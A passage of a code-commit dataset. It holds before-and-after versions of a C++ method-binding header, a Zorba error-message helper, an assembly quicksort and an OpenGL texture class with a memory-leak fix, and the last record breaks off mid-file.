retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the\n * distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE\n * FOUNDATION OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef BIND_METHOD_HXX\n#define BIND_METHOD_HXX\n\n#include <type_traits>\n#include <utility>\n\n\/**\n * This object stores a function pointer wrapping a method, and a\n * reference to an instance of the method's class.  It can be used to\n * wrap instance methods as callback functions.\n *\n * @param S the plain function signature type\n *\/\ntemplate<typename S=void()>\nclass BoundMethod;\n\ntemplate<typename R, typename... Args>\nclass BoundMethod<R(Args...)> {\n\ttypedef R (*function_pointer)(void *instance, Args... args);\n\n\tvoid *instance_;\n\tfunction_pointer function;\n\npublic:\n\t\/**\n\t * Non-initializing trivial constructor\n\t *\/\n\tBoundMethod() = default;\n\n\tconstexpr\n\tBoundMethod(void *_instance, function_pointer _function)\n\t\t:instance_(_instance), function(_function) {}\n\n\t\/**\n\t * Construct an \"undefined\" object.  It must not be called,\n\t * and its \"bool\" operator returns false.\n\t *\/\n\tBoundMethod(std::nullptr_t):function(nullptr) {}\n\n\t\/**\n\t * Was this object initialized with a valid function pointer?\n\t *\/\n\toperator bool() const {\n\t\treturn function != nullptr;\n\t}\n\n\tR operator()(Args... args) const {\n\t\treturn function(instance_, std::forward<Args>(args)...);\n\t}\n};\n\nnamespace BindMethodDetail {\n\n\/**\n * Helper class which converts a signature type to a method pointer\n * type.\n *\n * @param T the wrapped class\n * @param S the function signature type (plain, without instance\n * pointer)\n *\/\ntemplate<typename T, typename S>\nstruct MethodWithSignature;\n\ntemplate<typename T, typename R, typename... Args>\nstruct MethodWithSignature<T, R(Args...)> {\n\ttypedef R (T::*method_pointer)(Args...);\n};\n\n\/**\n * Helper class which introspects a method pointer type.\n *\n * @param M the method pointer type\n *\/\ntemplate<typename M>\nstruct MethodSignatureHelper;\n\ntemplate<typename R, typename T, typename... Args>\nstruct MethodSignatureHelper<R (T::*)(Args...)> {\n\t\/**\n\t * The class which contains the given method (signature).\n\t *\/\n\ttypedef T class_type;\n\n\t\/**\n\t * A function type which describes the \"plain\" function\n\t * signature.\n\t *\/\n\ttypedef R plain_signature(Args...);\n};\n\n\/**\n * Helper class which converts a plain function signature type to a\n * wrapper function pointer type.\n *\/\ntemplate<typename S>\nstruct MethodWrapperWithSignature;\n\ntemplate<typename R, typename... Args>\nstruct MethodWrapperWithSignature<R(Args...)> {\n\ttypedef R (*function_pointer)(void *instance, Args...);\n};\n\n\/**\n * Generate a wrapper function.  Helper class for\n * #BindMethodWrapperGenerator.\n *\n * @param T the containing class\n * @param M the method pointer type\n * @param method the method pointer\n * @param R the return type\n * @param Args the method arguments\n *\/\ntemplate<typename T, typename M, M method, typename R, typename... Args>\nstruct BindMethodWrapperGenerator2 {\n\tstatic R Invoke(void *_instance, Args... args) {\n\t\tauto &t = *(T *)_instance;\n\t\treturn (t.*method)(std::forward<Args>(args)...);\n\t}\n};\n\n\/**\n * Generate a wrapper function.\n *\n * @param T the containing class\n * @param M the method pointer type\n * @param method the method pointer\n * @param S the plain function signature type\n *\/\ntemplate<typename T, typename M, M method, typename S>\nstruct BindMethodWrapperGenerator;\n\ntemplate<typename T, typename M, M method, typename R, typename... Args>\nstruct BindMethodWrapperGenerator<T, M, method, R(Args...)>\n\t: BindMethodWrapperGenerator2<T, M, method, R, Args...> {\n};\n\ntemplate<typename T, typename S,\n\t typename MethodWithSignature<T, S>::method_pointer method>\ntypename MethodWrapperWithSignature<S>::function_pointer\nMakeBindMethodWrapper()\n{\n\treturn BindMethodWrapperGenerator<T, typename MethodWithSignature<T, S>::method_pointer, method, S>::Invoke;\n}\n\n} \/* namespace BindMethodDetail *\/\n\n\/**\n * Construct a #BoundMethod instance.\n *\n * @param T the containing class\n * @param S the plain function signature type\n * @param method the method pointer\n * @param instance the instance of #T to be bound\n *\/\ntemplate<typename T, typename S,\n\t typename BindMethodDetail::MethodWithSignature<T, S>::method_pointer method>\nconstexpr BoundMethod<S>\nBindMethod(T &_instance)\n{\n\treturn BoundMethod<S>(&_instance,\n\t\t\t      BindMethodDetail::MakeBindMethodWrapper<T, S, method>());\n}\n\n\/**\n * Shortcut macro which takes an instance and a method pointer and\n * constructs a #BoundMethod instance.\n *\/\n#define BIND_METHOD(instance, method) \\\n\tBindMethod<typename BindMethodDetail::MethodSignatureHelper<decltype(method)>::class_type, \\\n\t\t   typename BindMethodDetail::MethodSignatureHelper<decltype(method)>::plain_signature, \\\n\t\t   method>(instance)\n\n\/**\n * Shortcut wrapper for BIND_METHOD() which assumes \"*this\" is the\n * instance to be bound.\n *\/\n#define BIND_THIS_METHOD(method) BIND_METHOD(*this, &std::remove_reference<decltype(*this)>::type::method)\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef WIN32\n# include <cstdio>\n# include <cstring>\n#else\n# include <windows.h>\n# include <strsafe.h>\n#endif \/* WIN32 *\/\n\n#include \"error_util.h\"\n#include \"stl_util.h\"\n\nnamespace zorba {\nnamespace error {\n\nusing namespace std;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nzstring get_os_err_string( char const *what, os_code code ) {\n#ifndef WIN32\n  char err[ 512 ];\n  if ( what ) {\n    snprintf(\n      err, sizeof( err ), \"%s failed (error %d): %s\",\n      what, code, ::strerror( code )\n    );\n  } else {\n    snprintf(\n      err, sizeof( err ), \"error %d: %s\",\n      code, ::strerror( code )\n    );\n  }\n  return zstring( err );\n#else\n  LPWSTR wmsg;\n  FormatMessage(\n    FORMAT_MESSAGE_ALLOCATE_BUFFER\n    | FORMAT_MESSAGE_FROM_SYSTEM\n    | FORMAT_MESSAGE_IGNORE_INSERTS,\n    NULL, code, MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),\n    reinterpret_cast<LPWSTR>( &wmsg ), 0, NULL\n  );\n  int const werr_size = ::wcslen( wmsg ) + 40;\n  ztd::auto_vec<WCHAR> const werr( new WCHAR[ werr_size ] );\n  if ( what ) {\n    StringCchPrintf(\n      werr.get(), werr_size, L\"%hs failed (error %d): %ls\",\n      what, code, wmsg\n    );\n  } else {\n    StringCchPrintf(\n      werr.get(), werr_size, L\"error %d: %ls\", code, wmsg\n    );\n  }\n  LocalFree( wmsg );\n\n  int const err_size = ::wcslen( werr.get() ) * 2;\n  ztd::auto_vec<char> const err( new char[ err_size ] );\n  WideCharToMultiByte(\n    CP_UTF8, 0, werr.get(), -1, err.get(), err_size, NULL, NULL\n  );\n  return zstring( err.get() );\n#endif \/* WIN32 *\/\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ namespace error\n} \/\/ namespace zorba\n\n\/*\n * Local variables:\n * mode: c++\n * End:\n *\/\n\/* vim:set et sw=2 ts=2: *\/\n<commit_msg>Added && *what for empty strings.<commit_after>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef WIN32\n# include <cstdio>\n# include <cstring>\n#else\n# include <windows.h>\n# include <strsafe.h>\n#endif \/* WIN32 *\/\n\n#include \"error_util.h\"\n#include \"stl_util.h\"\n\nnamespace zorba {\nnamespace error {\n\nusing namespace std;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nzstring get_os_err_string( char const *what, os_code code ) {\n#ifndef WIN32\n  char err[ 512 ];\n  if ( what && *what ) {\n    snprintf(\n      err, sizeof( err ), \"%s failed (error %d): %s\",\n      what, code, ::strerror( code )\n    );\n  } else {\n    snprintf(\n      err, sizeof( err ), \"error %d: %s\",\n      code, ::strerror( code )\n    );\n  }\n  return zstring( err );\n#else\n  LPWSTR wmsg;\n  FormatMessage(\n    FORMAT_MESSAGE_ALLOCATE_BUFFER\n    | FORMAT_MESSAGE_FROM_SYSTEM\n    | FORMAT_MESSAGE_IGNORE_INSERTS,\n    NULL, code, MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),\n    reinterpret_cast<LPWSTR>( &wmsg ), 0, NULL\n  );\n  int const werr_size = ::wcslen( wmsg ) + 40;\n  ztd::auto_vec<WCHAR> const werr( new WCHAR[ werr_size ] );\n  if ( what && *what ) {\n    StringCchPrintf(\n      werr.get(), werr_size, L\"%hs failed (error %d): %ls\",\n      what, code, wmsg\n    );\n  } else {\n    StringCchPrintf(\n      werr.get(), werr_size, L\"error %d: %ls\", code, wmsg\n    );\n  }\n  LocalFree( wmsg );\n\n  int const err_size = ::wcslen( werr.get() ) * 2;\n  ztd::auto_vec<char> const err( new char[ err_size ] );\n  WideCharToMultiByte(\n    CP_UTF8, 0, werr.get(), -1, err.get(), err_size, NULL, NULL\n  );\n  return zstring( err.get() );\n#endif \/* WIN32 *\/\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ namespace error\n} \/\/ namespace zorba\n\n\/*\n * Local variables:\n * mode: c++\n * End:\n *\/\n\/* vim:set et sw=2 ts=2: *\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"common.th\"\n\n    .global main\nmain:\n    prologue\n\n#define DATA_LEN (.L_data_end - .L_data_start)\n#define ELT_LEN  (.L_data_elt_end - .L_data_elt_start)\n\n    c <- rel(data_start)        \/\/ data to sort\n    d <- (DATA_LEN \/ ELT_LEN)   \/\/ number of elements\n    e <- ELT_LEN                \/\/ size of each element\n    f <- rel(inteq)             \/\/ comparator\n    call(qsort)\n\ndone:\n    i <- .L_data_start\nprint_loop:\n    c <- [i - (. + 0) + p]      \/\/ get second field of struct\n    c <-  c - (. + 1) + p       \/\/ and relocate it\n    call(puts)\n    c <- rel(nl)\n    call(puts)\n    i <- i + ELT_LEN\n    c <- i < .L_data_end\n    jnzrel(c,print_loop)\n\n    illegal\n\n#define elem(Dest, Base, Index) \\\n    Dest <- Index * E         ; \\\n    Dest <- Dest + Base       ; \\\n    \/\/\n\n#define swap(i0, i1)            \\\n    pushall(c,d,e,f,g)        ; \\\n    f <- c                    ; \\\n    g <- e                    ; \\\n    o <- o - e - 1            ; \\\n    c <- o + 1                ; \\\n    elem(d,f,i0)              ; \\\n    \/* E is already width *\/  ; \\\n    call(memcpy)              ; \\\n    elem(c,f,i0)              ; \\\n    elem(d,f,i1)              ; \\\n    e <- g                    ; \\\n    call(memcpy)              ; \\\n    elem(c,f,i1)              ; \\\n    d <- o + 1                ; \\\n    e <- g                    ; \\\n    call(memcpy)              ; \\\n    o <- o + g + 1            ; \\\n    popall(c,d,e,f,g)         ; \\\n    \/\/\n\n\/\/ c <- base\n\/\/ d <- number of elements\n\/\/ e <- size of element\n\/\/ f <- comparator\n    .global qsort\nqsort:\n    pushall(h)\n    h <- d < 2                  \/\/ test for base case\n    jnzrel(h,qsort_done)\n    h <- d >> 1                 \/\/ H is partition index\n    i <- d - 1                  \/\/ I is last index\n    \/\/ partitioning\n    swap(h,i)\n    j <- 0                      \/\/ J is store index\n\n    swap(j,i)\nqsort_done:\n    popall(h)\n    ret\n\n\/\/ c <- pointer to key\n\/\/ d <- pointer to element\n\/\/ b -> < 0, 0, > 0\ninteq:\n    c <- [c]\n    d <- [d]\n    b <- c - d\n    ret\n\ndata_start:\n.L_data_start:\n.L_data_elt_start:\n    .word     21, @L_21\n.L_data_elt_end:\n    .word     34, @L_34\n    .word     55, @L_55\n    .word    144, @L_144\n    .word      1, @L_1\n    .word      2, @L_2\n    .word     89, @L_89\n    .word      3, @L_3\n    .word      5, @L_5\n    .word      8, @L_8\n    .word     13, @L_13\n.L_data_end:\n    .word 0\n\nL_1  : .utf32 \"one\"                    ; .word 0\nL_2  : .utf32 \"two\"                    ; .word 0\nL_3  : .utf32 \"three\"                  ; .word 0\nL_5  : .utf32 \"five\"                   ; .word 0\nL_8  : .utf32 \"eight\"                  ; .word 0\nL_13 : .utf32 \"thirteen\"               ; .word 0\nL_21 : .utf32 \"twenty-one\"             ; .word 0\nL_34 : .utf32 \"thirty-four\"            ; .word 0\nL_55 : .utf32 \"fifty-five\"             ; .word 0\nL_89 : .utf32 \"eighty-nine\"            ; .word 0\nL_144: .utf32 \"one hundred forty-four\" ; .word 0\n\nnl: .word '\\n', 0\n\n<commit_msg>Partitioning done in qsort<commit_after>#include \"common.th\"\n\n    .global main\nmain:\n    prologue\n\n#define DATA_LEN (.L_data_end - .L_data_start)\n#define ELT_LEN  (.L_data_elt_end - .L_data_elt_start)\n\n    c <- rel(data_start)        \/\/ data to sort\n    d <- (DATA_LEN \/ ELT_LEN)   \/\/ number of elements\n    e <- ELT_LEN                \/\/ size of each element\n    f <- rel(inteq)             \/\/ comparator\n    call(qsort)\n\ndone:\n    i <- .L_data_start\nprint_loop:\n    c <- [i - (. + 0) + p]      \/\/ get second field of struct\n    c <-  c - (. + 1) + p       \/\/ and relocate it\n    call(puts)\n    c <- rel(nl)\n    call(puts)\n    i <- i + ELT_LEN\n    c <- i < .L_data_end\n    jnzrel(c,print_loop)\n\n    illegal\n\n#define elem(Dest, Base, Index) \\\n    Dest <- Index * E         ; \\\n    Dest <- Dest + Base       ; \\\n    \/\/\n\n#define swap(i0, i1)            \\\n    pushall(c,d,e,f,g)        ; \\\n    f <- c                    ; \\\n    g <- e                    ; \\\n    o <- o - e - 1            ; \\\n    c <- o + 1                ; \\\n    elem(d,f,i0)              ; \\\n    \/* E is already width *\/  ; \\\n    call(memcpy)              ; \\\n    elem(c,f,i0)              ; \\\n    elem(d,f,i1)              ; \\\n    e <- g                    ; \\\n    call(memcpy)              ; \\\n    elem(c,f,i1)              ; \\\n    d <- o + 1                ; \\\n    e <- g                    ; \\\n    call(memcpy)              ; \\\n    o <- o + g + 1            ; \\\n    popall(c,d,e,f,g)         ; \\\n    \/\/\n\n\/\/ c <- base\n\/\/ d <- number of elements\n\/\/ e <- size of element\n\/\/ f <- comparator\n    .global qsort\nqsort:\n    pushall(h,i,j,k,l,m)\n    h <- d < 2                  \/\/ test for base case\n    jnzrel(h,L_qsort_done)\n    h <- d >> 1                 \/\/ H is partition index\n    i <- d - 1                  \/\/ I is last index\n    \/\/ partitioning\n    swap(h,i)\n    m <- 0                      \/\/ M is store index\n    j <- 0                      \/\/ J is i index\n\nL_qsort_partition:\n    elem(k, c, j)\n    elem(l, c, j)\n    pushall(c,d,e)\n    c <- k\n    d <- l\n    callr(f)\n    popall(c,d,e)\n    k <- b < 0\n    jzrel(k,L_qsort_noswap)\n    swap(j,m)\n    m <- m + 1\nL_qsort_noswap:\n\n    j <- j + 1\n    k <- j < i\n    jnzrel(k,L_qsort_partition)\n\n    swap(j,i)\nL_qsort_done:\n    popall(h,i,j,k,l,m)\n    ret\n\n\/\/ c <- pointer to key\n\/\/ d <- pointer to element\n\/\/ b -> < 0, 0, > 0\ninteq:\n    c <- [c]\n    d <- [d]\n    b <- c - d\n    ret\n\ndata_start:\n.L_data_start:\n.L_data_elt_start:\n    .word     21, @L_21\n.L_data_elt_end:\n    .word     34, @L_34\n    .word     55, @L_55\n    .word    144, @L_144\n    .word      1, @L_1\n    .word      2, @L_2\n    .word     89, @L_89\n    .word      3, @L_3\n    .word      5, @L_5\n    .word      8, @L_8\n    .word     13, @L_13\n.L_data_end:\n    .word 0\n\nL_1  : .utf32 \"one\"                    ; .word 0\nL_2  : .utf32 \"two\"                    ; .word 0\nL_3  : .utf32 \"three\"                  ; .word 0\nL_5  : .utf32 \"five\"                   ; .word 0\nL_8  : .utf32 \"eight\"                  ; .word 0\nL_13 : .utf32 \"thirteen\"               ; .word 0\nL_21 : .utf32 \"twenty-one\"             ; .word 0\nL_34 : .utf32 \"thirty-four\"            ; .word 0\nL_55 : .utf32 \"fifty-five\"             ; .word 0\nL_89 : .utf32 \"eighty-nine\"            ; .word 0\nL_144: .utf32 \"one hundred forty-four\" ; .word 0\n\nnl: .word '\\n', 0\n\n<|endoftext|>"}
{"text":"<commit_before>#include <easylogging.h>\n\n#include \"utils\/texture2d.h\"\n\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include <functional>\n#include <stdexcept>\n#include <algorithm>\n#include <fstream>\n#include <sstream>\n#include <cstdint>\n#include <cctype>\n#include <locale>\n\nstatic unsigned char saturate(float x)\n{\n    if (x < 0) return 0;\n    if (x > 1) return 255;\n    return (int)(x * 255);\n}\n\nstatic GLuint alloc_texture(const glm::ivec2& dims,\n                            const void *raw_ptr,\n                            GLenum internal,\n                            GLenum format)\n{\n    GLuint tex;\n\n    glGenTextures(1, &tex);\n    if (!tex) {\n        LOG(ERROR) << \"Failed to generate texture.\";\n        LOG(TRACE) << \"glGenTextures failed.\";\n        throw std::runtime_error(\"\");\n    }\n\n    glBindTexture(GL_TEXTURE_2D, tex);\n\n    glTexImage2D(GL_TEXTURE_2D, 0, internal, dims.x, dims.y,\n                         0, GL_RGBA, format, raw_ptr);\n\n    return tex;\n}\n\nstatic std::vector<uint8_t> image_to_bytes(const image& img)\n{\n    auto w = img.dims().x;\n    auto h = img.dims().y;\n\n    auto buf = std::vector<unsigned char>();\n    buf.resize(w * h * 4); \/\/ 4 bytes\/pixel\n\n    for (int y = 0; y < h; ++y) {\n        const glm::vec4* ptr = img[y];\n\n        for (int x = 0; x < w; ++x) {\n            buf[4 * (y * w + x) + 0] = saturate(ptr->x);\n            buf[4 * (y * w + x) + 1] = saturate(ptr->y);\n            buf[4 * (y * w + x) + 2] = saturate(ptr->z);\n            buf[4 * (y * w + x) + 3] = saturate(ptr->w);\n\n            ++ptr;\n        }\n    }\n\n    return buf;\n}\n\nstatic bool image_is_opaque(const image& img)\n{\n    for (int y = 0; y < img.dims().y; ++y) {\n        const glm::vec4* ptr = img[y];\n\n        for (int x = 0; x < img.dims().x; ++x) {\n            if ((ptr->w > 0) && (ptr->w < 1)) {\n                return false;\n            }\n\n            ++ptr;\n        }\n    }\n\n    return true;\n}\n\nnamespace gl\n{\n    texture2D::texture2D(const std::string& path, GLenum format)\n        : m_fmt(format), m_tex(0)\n    {\n        image img(path);\n        m_dims = img.dims();\n\n        if (m_fmt == GL_UNSIGNED_BYTE) {\n            m_tex = alloc_texture(m_dims, &image_to_bytes(img)[0],\n                                  GL_RGBA, GL_UNSIGNED_BYTE);\n        } else if (m_fmt == GL_FLOAT) {\n            m_tex = alloc_texture(m_dims, img.data(),\n                                  GL_RGBA32F, GL_FLOAT);\n        } else {\n            LOG(ERROR) << \"Unsupported texture format.\";\n            LOG(TRACE) << \"Supported formats are:\";\n            LOG(TRACE) << \"* GL_UNSIGNED_BYTE\";\n            LOG(TRACE) << \"* GL_FLOAT\";\n            throw std::logic_error(\"\");\n        }\n\n        m_opaque = image_is_opaque(img);\n    }\n\n    texture2D::texture2D(const image& img, GLenum format)\n        : m_fmt(format)\n    {\n        m_dims = img.dims();\n\n        if (m_fmt == GL_UNSIGNED_BYTE) {\n            m_tex = alloc_texture(m_dims, &image_to_bytes(img)[0],\n                                  GL_RGBA, GL_UNSIGNED_BYTE);\n        } else if (m_fmt == GL_FLOAT) {\n            m_tex = alloc_texture(m_dims, img.data(),\n                                  GL_RGBA32F, GL_FLOAT);\n        } else {\n            LOG(ERROR) << \"Unsupported texture format.\";\n            LOG(TRACE) << \"Supported formats are:\";\n            LOG(TRACE) << \"* GL_UNSIGNED_BYTE\";\n            LOG(TRACE) << \"* GL_FLOAT\";\n            throw std::logic_error(\"\");\n        }\n\n        m_opaque = image_is_opaque(img);\n    }\n\n    texture2D::texture2D(const glm::ivec2& dims, GLenum format)\n        : m_dims(dims), m_fmt(format), m_opaque(true)\n    {\n        if (m_fmt == GL_UNSIGNED_BYTE) {\n            m_tex = alloc_texture(m_dims, nullptr,\n                                  GL_RGBA, GL_UNSIGNED_BYTE);\n        } else if (m_fmt == GL_FLOAT) {\n            m_tex = alloc_texture(m_dims, nullptr,\n                                  GL_RGBA32F, GL_FLOAT);\n        } else {\n            LOG(ERROR) << \"Unsupported texture format.\";\n            LOG(TRACE) << \"Supported formats are:\";\n            LOG(TRACE) << \"* GL_UNSIGNED_BYTE\";\n            LOG(TRACE) << \"* GL_FLOAT\";\n            throw std::logic_error(\"\");\n        }\n    }\n\n    texture2D::~texture2D()\n    {\n        if (m_tex) {\n            glDeleteTextures(1, &m_tex);\n        }\n    }\n\n    void texture2D::resize(const glm::ivec2& dims)\n    {\n        m_dims = dims;\n\n        if (m_fmt == GL_UNSIGNED_BYTE) {\n            m_tex = alloc_texture(m_dims, nullptr,\n                                  GL_RGBA, GL_UNSIGNED_BYTE);\n        } else if (m_fmt == GL_FLOAT) {\n            m_tex = alloc_texture(m_dims, nullptr,\n                                  GL_RGBA32F, GL_FLOAT);\n        }\n\n        m_opaque = true;\n    }\n\n    void texture2D::bind(int unit, int min_filter,\n                                   int mag_filter,\n                                   int wrap_s,\n                                   int wrap_t) const\n    {\n        glActiveTexture(GL_TEXTURE0 + unit);\n        glBindTexture(GL_TEXTURE_2D, m_tex);\n\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, min_filter);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, mag_filter);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrap_s);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrap_t);\n    }\n\n    GLuint texture2D::operator()() const\n    {\n        return m_tex;\n    }\n\n    glm::ivec2 texture2D::dims() const\n    {\n        return m_dims;\n    }\n\n    bool texture2D::is_opaque() const\n    {\n        return m_opaque;\n    }\n}\n<commit_msg>Memory leak fix<commit_after>#include <easylogging.h>\n\n#include \"utils\/texture2d.h\"\n\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include <functional>\n#include <stdexcept>\n#include <algorithm>\n#include <fstream>\n#include <sstream>\n#include <cstdint>\n#include <cctype>\n#include <locale>\n\nstatic unsigned char saturate(float x)\n{\n    if (x < 0) return 0;\n    if (x > 1) return 255;\n    return (int)(x * 255);\n}\n\nstatic GLuint alloc_texture(const glm::ivec2& dims,\n                            const void *raw_ptr,\n                            GLenum internal,\n                            GLenum format)\n{\n    GLuint tex;\n\n    glGenTextures(1, &tex);\n    if (!tex) {\n        LOG(ERROR) << \"Failed to generate texture.\";\n        LOG(TRACE) << \"glGenTextures failed.\";\n        throw std::runtime_error(\"\");\n    }\n\n    glBindTexture(GL_TEXTURE_2D, tex);\n\n    glTexImage2D(GL_TEXTURE_2D, 0, internal, dims.x, dims.y,\n                         0, GL_RGBA, format, raw_ptr);\n\n    return tex;\n}\n\nstatic std::vector<uint8_t> image_to_bytes(const image& img)\n{\n    auto w = img.dims().x;\n    auto h = img.dims().y;\n\n    auto buf = std::vector<unsigned char>();\n    buf.resize(w * h * 4); \/\/ 4 bytes\/pixel\n\n    for (int y = 0; y < h; ++y) {\n        const glm::vec4* ptr = img[y];\n\n        for (int x = 0; x < w; ++x) {\n            buf[4 * (y * w + x) + 0] = saturate(ptr->x);\n            buf[4 * (y * w + x) + 1] = saturate(ptr->y);\n            buf[4 * (y * w + x) + 2] = saturate(ptr->z);\n            buf[4 * (y * w + x) + 3] = saturate(ptr->w);\n\n            ++ptr;\n        }\n    }\n\n    return buf;\n}\n\nstatic bool image_is_opaque(const image& img)\n{\n    for (int y = 0; y < img.dims().y; ++y) {\n        const glm::vec4* ptr = img[y];\n\n        for (int x = 0; x < img.dims().x; ++x) {\n            if ((ptr->w > 0) && (ptr->w < 1)) {\n                return false;\n            }\n\n            ++ptr;\n        }\n    }\n\n    return true;\n}\n\nnamespace gl\n{\n    texture2D::texture2D(const std::string& path, GLenum format)\n        : m_fmt(format), m_tex(0)\n    {\n        image img(path);\n        m_dims = img.dims();\n\n        if (m_fmt == GL_UNSIGNED_BYTE) {\n            m_tex = alloc_texture(m_dims, &image_to_bytes(img)[0],\n                                  GL_RGBA, GL_UNSIGNED_BYTE);\n        } else if (m_fmt == GL_FLOAT) {\n            m_tex = alloc_texture(m_dims, img.data(),\n                                  GL_RGBA32F, GL_FLOAT);\n        } else {\n            LOG(ERROR) << \"Unsupported texture format.\";\n            LOG(TRACE) << \"Supported formats are:\";\n            LOG(TRACE) << \"* GL_UNSIGNED_BYTE\";\n            LOG(TRACE) << \"* GL_FLOAT\";\n            throw std::logic_error(\"\");\n        }\n\n        m_opaque = image_is_opaque(img);\n    }\n\n    texture2D::texture2D(const image& img, GLenum format)\n        : m_fmt(format)\n    {\n        m_dims = img.dims();\n\n        if (m_fmt == GL_UNSIGNED_BYTE) {\n            m_tex = alloc_texture(m_dims, &image_to_bytes(img)[0],\n                                  GL_RGBA, GL_UNSIGNED_BYTE);\n        } else if (m_fmt == GL_FLOAT) {\n            m_tex = alloc_texture(m_dims, img.data(),\n                                  GL_RGBA32F, GL_FLOAT);\n        } else {\n            LOG(ERROR) << \"Unsupported texture format.\";\n            LOG(TRACE) << \"Supported formats are:\";\n            LOG(TRACE) << \"* GL_UNSIGNED_BYTE\";\n            LOG(TRACE) << \"* GL_FLOAT\";\n            throw std::logic_error(\"\");\n        }\n\n        m_opaque = image_is_opaque(img);\n    }\n\n    texture2D::texture2D(const glm::ivec2& dims, GLenum format)\n        : m_dims(dims), m_fmt(format), m_opaque(true)\n    {\n        if (m_fmt == GL_UNSIGNED_BYTE) {\n            m_tex = alloc_texture(m_dims, nullptr,\n                                  GL_RGBA, GL_UNSIGNED_BYTE);\n        } else if (m_fmt == GL_FLOAT) {\n            m_tex = alloc_texture(m_dims, nullptr,\n                                  GL_RGBA32F, GL_FLOAT);\n        } else {\n            LOG(ERROR) << \"Unsupported texture format.\";\n            LOG(TRACE) << \"Supported formats are:\";\n            LOG(TRACE) << \"* GL_UNSIGNED_BYTE\";\n            LOG(TRACE) << \"* GL_FLOAT\";\n            throw std::logic_error(\"\");\n        }\n    }\n\n    texture2D::~texture2D()\n    {\n        glDeleteTextures(1, &m_tex);\n    }\n\n    void texture2D::resize(const glm::ivec2& dims)\n    {\n        m_dims = dims;\n\n        if (m_fmt == GL_UNSIGNED_BYTE) {\n            glDeleteTextures(1, &m_tex);\n            m_tex = alloc_texture(m_dims, nullptr,\n                                  GL_RGBA, GL_UNSIGNED_BYTE);\n        } else if (m_fmt == GL_FLOAT) {\n            glDeleteTextures(1, &m_tex);\n            m_tex = alloc_texture(m_dims, nullptr,\n                                  GL_RGBA32F, GL_FLOAT);\n        }\n\n        m_opaque = true;\n    }\n\n    void texture2D::bind(int unit, int min_filter,\n                                   int mag_filter,\n                                   int wrap_s,\n                                   int wrap_t) const\n    {\n        glActiveTexture(GL_TEXTURE0 + unit);\n        glBindTexture(GL_TEXTURE_2D, m_tex);\n\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, min_filter);\n        glTexParameteri(GL_TEXTURE_2D, 